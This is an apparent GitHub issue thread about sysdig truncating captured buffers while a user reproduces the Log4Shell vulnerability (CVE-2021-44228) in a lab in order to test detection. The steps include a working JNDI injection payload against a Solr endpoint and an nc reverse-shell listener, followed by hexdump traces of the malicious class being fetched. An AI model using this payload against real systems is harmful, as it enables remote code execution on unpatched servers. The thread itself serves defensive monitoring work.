http response missing by sysdig in %evt.buffer

[ch3n9w]

When I reproduced CVE-2021-44228 and tried to capture network traffic with sysdig following this blog, I can't capture class file in %evt.buffer.

sysdig version 0.31.5 OS: Linux version 5.4.0-148-generic (buildd@lcy02-amd64-112) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1))

Step to reproduce:

1. run this command to capture the traffic:

sudo sysdig -X "evt.type in (write, sendto, read, recvfrom) and fd.type in (ipv4, ipv6) \
                  and proc.name=java" \
                  -p"%fd.name (%evt.type, %evt.buflen bytes) %evt.buffer"

2. setup a testing environment with vulhub

3. setup a RMI server with JNDI-Injection-Exploit, and launch nc to wait for reverse shell.

4. send payload to perform JDNI attack, like /solr/admin/cores?action=${jndi:rmi://192.168.31.14:1099/isjqzm}

5. watch nc receive reverse shell connection, while the output of sysdig doesn't contain cafebabe bytecode and malicious class file.

the output

192.168.31.13:58694->172.18.0.2:8983 (read, 321 bytes) 
    0x0000: 4745 5420 2f73 6f6c 722f 6164 6d69 6e2f  GET /solr/admin/
    0x0010: 636f 7265 733f 6163 7469 6f6e 3d24 7b6a  cores?action=${j
    0x0020: 6e64 693a 726d 693a 2f2f 3139 322e 3136  ndi:rmi://192.16
    0x0030: 382e 3331 2e31 343a 3130 3939 2f69 736a  8.31.14:1099/isj
    0x0040: 717a 6d7d 2048 5454 502f 312e 310d 0a48  qzm} HTTP/1.1..H

192.168.31.13:58694->172.18.0.2:8983 (read, 0 bytes) NULL
172.18.0.2:51170->192.168.31.14:1099 (sendto, 7 bytes) 
    0x0000: 4a52 4d49 0002 4b                      JRMI..K

172.18.0.2:51170->192.168.31.14:1099 (recvfrom, 21 bytes) 
    0x0000: 4e00 0e31 3932 2e31 3638 2e33 312e 3130  N..192.168.31.10
    0x0010: 3100 00c7 e2                           1....

172.18.0.2:51170->192.168.31.14:1099 (sendto, 16 bytes) 
    0x0000: 000a 3137 322e 3138 2e30 2e32 0000 b43b  ..172.18.0.2...;

172.18.0.2:51170->192.168.31.14:1099 (sendto, 50 bytes) 
    0x0000: 50ac ed00 0577 2200 0000 0000 0000 0000  P....w".........
    0x0010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x0020: 0244 154d c9d4 e63b df74 0006 6973 6a71  .D.M...;.t..isjq
    0x0030: 7a6d                                     zm

172.18.0.2:51170->192.168.31.14:1099 (recvfrom, 1091 bytes) 
    0x0000: 51ac ed00 0577 0f01 61c2 259d 0000 0188  Q....w..a.%.....
    0x0010: 0ef6 3a44 8005 7372 002a 636f 6d2e 7375  ..:D..sr.*com.su
    0x0020: 6e2e 6a6e 6469 2e72 6d69 2e72 6567 6973  n.jndi.rmi.regis
    0x0030: 7472 792e 5265 6665 7265 6e63 6557 7261  try.ReferenceWra
    0x0040: 7070 6572 545a 0e24 97c2 c5f0 0200 014c  pperTZ.$.......L

172.18.0.2:51064->192.168.31.14:8180 (sendto, 180 bytes) 
    0x0000: 4745 5420 2f45 7865 6354 656d 706c 6174  GET /ExecTemplat
    0x0010: 654a 444b 382e 636c 6173 7320 4854 5450  eJDK8.class HTTP
    0x0020: 2f31 2e31 0d0a 5573 6572 2d41 6765 6e74  /1.1..User-Agent
    0x0030: 3a20 4a61 7661 2f31 2e38 2e30 5f31 3032  : Java/1.8.0_102
    0x0040: 0d0a 486f 7374 3a20 3139 322e 3136 382e  ..Host: 192.168.

172.18.0.2:51064->192.168.31.14:8180 (recvfrom, 764 bytes) 
    0x0000: 4854 5450 2f31 2e31 2032 3030 204f 4b0d  HTTP/1.1 200 OK.
    0x0010: 0a63 6f6e 7465 6e74 2d64 6973 706f 7369  .content-disposi
    0x0020: 7469 6f6e 3a20 6174 7461 6368 6d65 6e74  tion: attachment
    0x0030: 3b66 696c 656e 616d 653d 4578 6563 5465  ;filename=ExecTe
    0x0040: 6d70 6c61 7465 4a44 4b38 2e63 6c61 7373  mplateJDK8.class

172.18.0.2:51170->192.168.31.14:1099 (sendto, 1 bytes) 
    0x0000: 52                                     R

172.18.0.2:51170->192.168.31.14:1099 (recvfrom, 0 bytes) NULL
172.18.0.2:51174->192.168.31.14:1099 (sendto, 7 bytes) 
    0x0000: 4a52 4d49 0002 4b                      JRMI..K

172.18.0.2:51174->192.168.31.14:1099 (recvfrom, 21 bytes) 
    0x0000: 4e00 0e31 3932 2e31 3638 2e33 312e 3130  N..192.168.31.10
    0x0010: 3100 00c7 e6                           1....

172.18.0.2:51174->192.168.31.14:1099 (sendto, 16 bytes) 
    0x0000: 000a 3137 322e 3138 2e30 2e32 0000 b43b  ..172.18.0.2...;

172.18.0.2:51174->192.168.31.14:1099 (sendto, 50 bytes) 
    0x0000: 50ac ed00 0577 2200 0000 0000 0000 0000  P....w".........
    0x0010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x0020: 0244 154d c9d4 e63b df74 0006 6973 6a71  .D.M...;.t..isjq
    0x0030: 7a6d                                     zm

172.18.0.2:51174->192.168.31.14:1099 (recvfrom, 1091 bytes) 
    0x0000: 51ac ed00 0577 0f01 61c2 259d 0000 0188  Q....w..a.%.....
    0x0010: 0ef6 3a44 8007 7372 002a 636f 6d2e 7375  ..:D..sr.*com.su
    0x0020: 6e2e 6a6e 6469 2e72 6d69 2e72 6567 6973  n.jndi.rmi.regis
    0x0030: 7472 792e 5265 6665 7265 6e63 6557 7261  try.ReferenceWra
    0x0040: 7070 6572 545a 0e24 97c2 c5f0 0200 014c  pperTZ.$.......L

172.18.0.2:51064->192.168.31.14:8180 (sendto, 180 bytes) 
    0x0000: 4745 5420 2f45 7865 6354 656d 706c 6174  GET /ExecTemplat
    0x0010: 654a 444b 382e 636c 6173 7320 4854 5450  eJDK8.class HTTP
    0x0020: 2f31 2e31 0d0a 5573 6572 2d41 6765 6e74  /1.1..User-Agent
    0x0030: 3a20 4a61 7661 2f31 2e38 2e30 5f31 3032  : Java/1.8.0_102
    0x0040: 0d0a 486f 7374 3a20 3139 322e 3136 382e  ..Host: 192.168.

172.18.0.2:51064->192.168.31.14:8180 (recvfrom, 764 bytes) 
    0x0000: 4854 5450 2f31 2e31 2032 3030 204f 4b0d  HTTP/1.1 200 OK.
    0x0010: 0a63 6f6e 7465 6e74 2d64 6973 706f 7369  .content-disposi
    0x0020: 7469 6f6e 3a20 6174 7461 6368 6d65 6e74  tion: attachment
    0x0030: 3b66 696c 656e 616d 653d 4578 6563 5465  ;filename=ExecTe
    0x0040: 6d70 6c61 7465 4a44 4b38 2e63 6c61 7373  mplateJDK8.class

However, wireshark can capture the whole class file correctly:

Are there something I missing? What can I do to help?

[therealbobo]

Hi @ch3n9w! Capturing the I/O operations is very costly. For this reason the snaplen is limited to 80 bytes by default. Try increasing it using the --snaplen flag 😄

[ch3n9w]

@therealbobo Oh! Thank you, I was just wondering why falco can't detect CVE-2021-44228 with its rules, thank you for saving my weekend!